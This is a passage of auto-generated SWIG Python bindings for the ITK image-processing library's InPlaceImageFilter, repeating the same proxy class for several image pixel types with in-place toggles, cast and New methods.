"""Proxy of C++ itkInPlaceImageFilterICVF42IVF42 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF42IVF42 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF42IVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF42IVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF42IVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF42IVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF42IVF42 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF42IVF42 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF42IVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF42IVF42 Create a new object of the class itkInPlaceImageFilterICVF42IVF42 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF42IVF42.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF42IVF42.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF42IVF42.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF42IVF42.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_SetInPlace, None, itkInPlaceImageFilterICVF42IVF42) itkInPlaceImageFilterICVF42IVF42.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_GetInPlace, None, itkInPlaceImageFilterICVF42IVF42) itkInPlaceImageFilterICVF42IVF42.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_InPlaceOn, None, itkInPlaceImageFilterICVF42IVF42) itkInPlaceImageFilterICVF42IVF42.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_InPlaceOff, None, itkInPlaceImageFilterICVF42IVF42) itkInPlaceImageFilterICVF42IVF42.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_CanRunInPlace, None, itkInPlaceImageFilterICVF42IVF42) itkInPlaceImageFilterICVF42IVF42_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_swigregister itkInPlaceImageFilterICVF42IVF42_swigregister(itkInPlaceImageFilterICVF42IVF42) def itkInPlaceImageFilterICVF42IVF42_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF42IVF42 *": """itkInPlaceImageFilterICVF42IVF42_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF42IVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42IVF42_cast(obj) class itkInPlaceImageFilterICVF43ICVF43(itkImageToImageFilterAPython.itkImageToImageFilterICVF43ICVF43): """Proxy of C++ itkInPlaceImageFilterICVF43ICVF43 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF43ICVF43 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF43ICVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF43ICVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF43ICVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF43ICVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF43ICVF43 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF43ICVF43 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF43ICVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF43ICVF43 Create a new object of the class itkInPlaceImageFilterICVF43ICVF43 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF43ICVF43.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF43ICVF43.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF43ICVF43.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF43ICVF43.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_SetInPlace, None, itkInPlaceImageFilterICVF43ICVF43) itkInPlaceImageFilterICVF43ICVF43.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_GetInPlace, None, itkInPlaceImageFilterICVF43ICVF43) itkInPlaceImageFilterICVF43ICVF43.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_InPlaceOn, None, itkInPlaceImageFilterICVF43ICVF43) itkInPlaceImageFilterICVF43ICVF43.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_InPlaceOff, None, itkInPlaceImageFilterICVF43ICVF43) itkInPlaceImageFilterICVF43ICVF43.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_CanRunInPlace, None, itkInPlaceImageFilterICVF43ICVF43) itkInPlaceImageFilterICVF43ICVF43_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_swigregister itkInPlaceImageFilterICVF43ICVF43_swigregister(itkInPlaceImageFilterICVF43ICVF43) def itkInPlaceImageFilterICVF43ICVF43_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF43ICVF43 *": """itkInPlaceImageFilterICVF43ICVF43_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF43ICVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43ICVF43_cast(obj) class itkInPlaceImageFilterICVF43IVF43(itkImageToImageFilterAPython.itkImageToImageFilterICVF43IVF43): """Proxy of C++ itkInPlaceImageFilterICVF43IVF43 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF43IVF43 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF43IVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF43IVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF43IVF43 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF43IVF43 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF43IVF43 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF43IVF43 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF43IVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF43IVF43 Create a new object of the class itkInPlaceImageFilterICVF43IVF43 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF43IVF43.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF43IVF43.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF43IVF43.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF43IVF43.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_SetInPlace, None, itkInPlaceImageFilterICVF43IVF43) itkInPlaceImageFilterICVF43IVF43.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_GetInPlace, None, itkInPlaceImageFilterICVF43IVF43) itkInPlaceImageFilterICVF43IVF43.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_InPlaceOn, None, itkInPlaceImageFilterICVF43IVF43) itkInPlaceImageFilterICVF43IVF43.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_InPlaceOff, None, itkInPlaceImageFilterICVF43IVF43) itkInPlaceImageFilterICVF43IVF43.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_CanRunInPlace, None, itkInPlaceImageFilterICVF43IVF43) itkInPlaceImageFilterICVF43IVF43_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_swigregister itkInPlaceImageFilterICVF43IVF43_swigregister(itkInPlaceImageFilterICVF43IVF43) def itkInPlaceImageFilterICVF43IVF43_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF43IVF43 *": """itkInPlaceImageFilterICVF43IVF43_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF43IVF43""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF43IVF43_cast(obj) class itkInPlaceImageFilterIF2IF2(itkImageToImageFilterAPython.itkImageToImageFilterIF2IF2): """Proxy of C++ itkInPlaceImageFilterIF2IF2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF2IF2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF2IF2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF2IF2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF2IF2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IF2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF2IF2 Create a new object of the class itkInPlaceImageFilterIF2IF2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF2IF2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF2IF2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF2IF2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF2IF2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_SetInPlace, None, itkInPlaceImageFilterIF2IF2) itkInPlaceImageFilterIF2IF2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_GetInPlace, None, itkInPlaceImageFilterIF2IF2) itkInPlaceImageFilterIF2IF2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_InPlaceOn, None, itkInPlaceImageFilterIF2IF2) itkInPlaceImageFilterIF2IF2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_InPlaceOff, None, itkInPlaceImageFilterIF2IF2) itkInPlaceImageFilterIF2IF2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_CanRunInPlace, None, itkInPlaceImageFilterIF2IF2) itkInPlaceImageFilterIF2IF2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_swigregister itkInPlaceImageFilterIF2IF2_swigregister(itkInPlaceImageFilterIF2IF2) def itkInPlaceImageFilterIF2IF2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IF2 *": """itkInPlaceImageFilterIF2IF2_cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IF2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IF2_cast(obj) class itkInPlaceImageFilterIF2IRGBAUC2(itkImageToImageFilterBPython.itkImageToImageFilterIF2IRGBAUC2): """Proxy of C++ itkInPlaceImageFilterIF2IRGBAUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF2IRGBAUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF2IRGBAUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF2IRGBAUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF2IRGBAUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IRGBAUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF2IRGBAUC2 Create a new object of the class itkInPlaceImageFilterIF2IRGBAUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF2IRGBAUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF2IRGBAUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF2IRGBAUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF2IRGBAUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_SetInPlace, None, itkInPlaceImageFilterIF2IRGBAUC2) itkInPlaceImageFilterIF2IRGBAUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_GetInPlace, None, itkInPlaceImageFilterIF2IRGBAUC2) itkInPlaceImageFilterIF2IRGBAUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_InPlaceOn, None, itkInPlaceImageFilterIF2IRGBAUC2) itkInPlaceImageFilterIF2IRGBAUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_InPlaceOff, None, itkInPlaceImageFilterIF2IRGBAUC2) itkInPlaceImageFilterIF2IRGBAUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_CanRunInPlace, None, itkInPlaceImageFilterIF2IRGBAUC2) itkInPlaceImageFilterIF2IRGBAUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_swigregister itkInPlaceImageFilterIF2IRGBAUC2_swigregister(itkInPlaceImageFilterIF2IRGBAUC2) def itkInPlaceImageFilterIF2IRGBAUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IRGBAUC2 *": """itkInPlaceImageFilterIF2IRGBAUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IRGBAUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBAUC2_cast(obj) class itkInPlaceImageFilterIF2IRGBUC2(itkImageToImageFilterBPython.itkImageToImageFilterIF2IRGBUC2): """Proxy of C++ itkInPlaceImageFilterIF2IRGBUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF2IRGBUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF2IRGBUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF2IRGBUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF2IRGBUC2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IRGBUC2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF2IRGBUC2 Create a new object of the class itkInPlaceImageFilterIF2IRGBUC2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF2IRGBUC2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF2IRGBUC2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF2IRGBUC2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF2IRGBUC2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_SetInPlace, None, itkInPlaceImageFilterIF2IRGBUC2) itkInPlaceImageFilterIF2IRGBUC2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_GetInPlace, None, itkInPlaceImageFilterIF2IRGBUC2) itkInPlaceImageFilterIF2IRGBUC2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_InPlaceOn, None, itkInPlaceImageFilterIF2IRGBUC2) itkInPlaceImageFilterIF2IRGBUC2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_InPlaceOff, None, itkInPlaceImageFilterIF2IRGBUC2) itkInPlaceImageFilterIF2IRGBUC2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_CanRunInPlace, None, itkInPlaceImageFilterIF2IRGBUC2) itkInPlaceImageFilterIF2IRGBUC2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_swigregister itkInPlaceImageFilterIF2IRGBUC2_swigregister(itkInPlaceImageFilterIF2IRGBUC2) def itkInPlaceImageFilterIF2IRGBUC2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2IRGBUC2 *": """itkInPlaceImageFilterIF2IRGBUC2_cast(itkLightObject obj) -> itkInPlaceImageFilterIF2IRGBUC2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IRGBUC2_cast(obj) class itkInPlaceImageFilterIF2ISS2(itkImageToImageFilterAPython.itkImageToImageFilterIF2ISS2): """Proxy of C++ itkInPlaceImageFilterIF2ISS2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF2ISS2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF2ISS2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterIF2ISS2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterIF2ISS2 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2ISS2 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterIF2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterIF2ISS2 Create a new object of the class itkInPlaceImageFilterIF2ISS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterIF2ISS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterIF2ISS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterIF2ISS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterIF2ISS2.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_SetInPlace, None, itkInPlaceImageFilterIF2ISS2) itkInPlaceImageFilterIF2ISS2.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_GetInPlace, None, itkInPlaceImageFilterIF2ISS2) itkInPlaceImageFilterIF2ISS2.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_InPlaceOn, None, itkInPlaceImageFilterIF2ISS2) itkInPlaceImageFilterIF2ISS2.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_InPlaceOff, None, itkInPlaceImageFilterIF2ISS2) itkInPlaceImageFilterIF2ISS2.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_CanRunInPlace, None, itkInPlaceImageFilterIF2ISS2) itkInPlaceImageFilterIF2ISS2_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_swigregister itkInPlaceImageFilterIF2ISS2_swigregister(itkInPlaceImageFilterIF2ISS2) def itkInPlaceImageFilterIF2ISS2_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterIF2ISS2 *": """itkInPlaceImageFilterIF2ISS2_cast(itkLightObject obj) -> itkInPlaceImageFilterIF2ISS2""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2ISS2_cast(obj) class itkInPlaceImageFilterIF2IUC2(itkImageToImageFilterAPython.itkImageToImageFilterIF2IUC2): """Proxy of C++ itkInPlaceImageFilterIF2IUC2 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterIF2IUC2 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterIF2IUC2 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterIF2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterIF2IUC2 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterIF2IUC2_InPlaceOff(self) def CanRunInPlace(self) -> "bool": 